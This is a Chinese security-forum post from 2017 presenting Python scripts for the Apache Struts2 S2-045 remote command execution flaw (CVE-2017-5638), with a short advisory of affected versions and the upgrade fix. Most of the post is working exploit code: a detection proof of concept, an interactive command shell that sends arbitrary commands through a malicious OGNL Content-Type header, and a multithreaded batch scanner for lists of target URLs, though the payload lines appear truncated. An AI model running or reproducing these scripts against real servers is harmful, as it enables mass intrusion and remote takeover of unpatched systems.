Struts2_045漏洞批量检测脚本

nmask / 2017-03-07 08:00:00 / 浏览数 4636 安全技术 漏洞分析 顶(0) 踩(0)

免责申明：

文章中的工具等仅供个人测试研究，请在下载后24小时内删除，不得用于商业或非法用途，否则后果自负

Apache Struts
2被曝存在远程命令执行漏洞，漏洞编号S2-045，CVE编号CVE-2017-5638，在使用基于Jakarta插件的文件上传功能时，有可能存在远程命令执行，导致系统被黑客入侵，
漏洞详情：恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞进而执行系统命令。
风险等级：高风险。
漏洞风险：黑客通过利用漏洞可以实现远程命令执行。
影响版本：Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10。
安全版本：Struts 2.3.32或2.5.10.1。
修复建议：如您正在使用Jakarta文件上传插件，请升级Struts至安全版本。

更多参考：https://cwiki.apache.org/confluence/display/WW/S2-045

POC

```
#! -*- encoding:utf-8 -*-
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers

def poc(url):
   register_openers()
   datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
   header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.29
   header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_me
   request = urllib2.Request(url,datagen,headers=header)
   response = urllib2.urlopen(request)
   body=response.read()

   return body

url=sys.argv[1]
body=poc(url)
if "nMask" in body:
   print "[Loopholes exist]",url
```

Poc_Cmd

```
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers

def poc(url,content="echo nMask"):
   register_openers()
   datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
   header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.29
   header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_me
   request = urllib2.Request(url,datagen,headers=header)
   response = urllib2.urlopen(request)
   body=response.read()

   return body

url=sys.argv[1]
body=poc(url)
if "nMask" in body:
   print "[Loopholes exist]",url

   while 1:
       con=raw_input("[cmd]>>")
```

```
        print poc(url,content=con)
```

运行结果：

```
>python s2_045_cmd.py http://xxx.com/?a.action

[Loopholes exist] http://xxx.com/?a.action

[cmd]>>ls
example1
example2
```

多线程批量检测

```
import urllib2
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
import threading

def poc(url):
    register_openers()
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.29
    header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_me
    try:
        request = urllib2.Request(url,datagen,headers=header)
        response = urllib2.urlopen(request,timeout=5)
        body=response.read()
    except:
        body=""

    if "nMask" in body:
        print "[Loopholes exist]",url
        f.write(url+"\n")
    else:
        print "Loopholes not exist",url

if __name__=="__main__":
    '''
    url.txt■■■■url■■
    result.txt■■■■■■■■■■
    '''
    f=open("result.txt","a")
    url_list=[i.replace("\n","") for i in open("url.txt","r").readlines()]
    for url in url_list:
        threading.Thread(target=poc,args=(url,)).start()
        while 1:
            if(len(threading.enumerate())<50):
                break
```

POC下载地址：https://github.com/tengzhangchao/Struts2_045-Poc

上一篇：[福利贴] 请以下白帽子来领先知大... 下一篇：一条命令引发的思考

1. 3 条回复


hades 2017-03-08 03:18:24

提供个思路

0 回复Ta


xiaopigfly 2017-03-08 06:22:02

厉害了。楼上的直接加载上去。打开就能判断

0 回复Ta


hades 2017-03-08 07:46:00

是滴

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板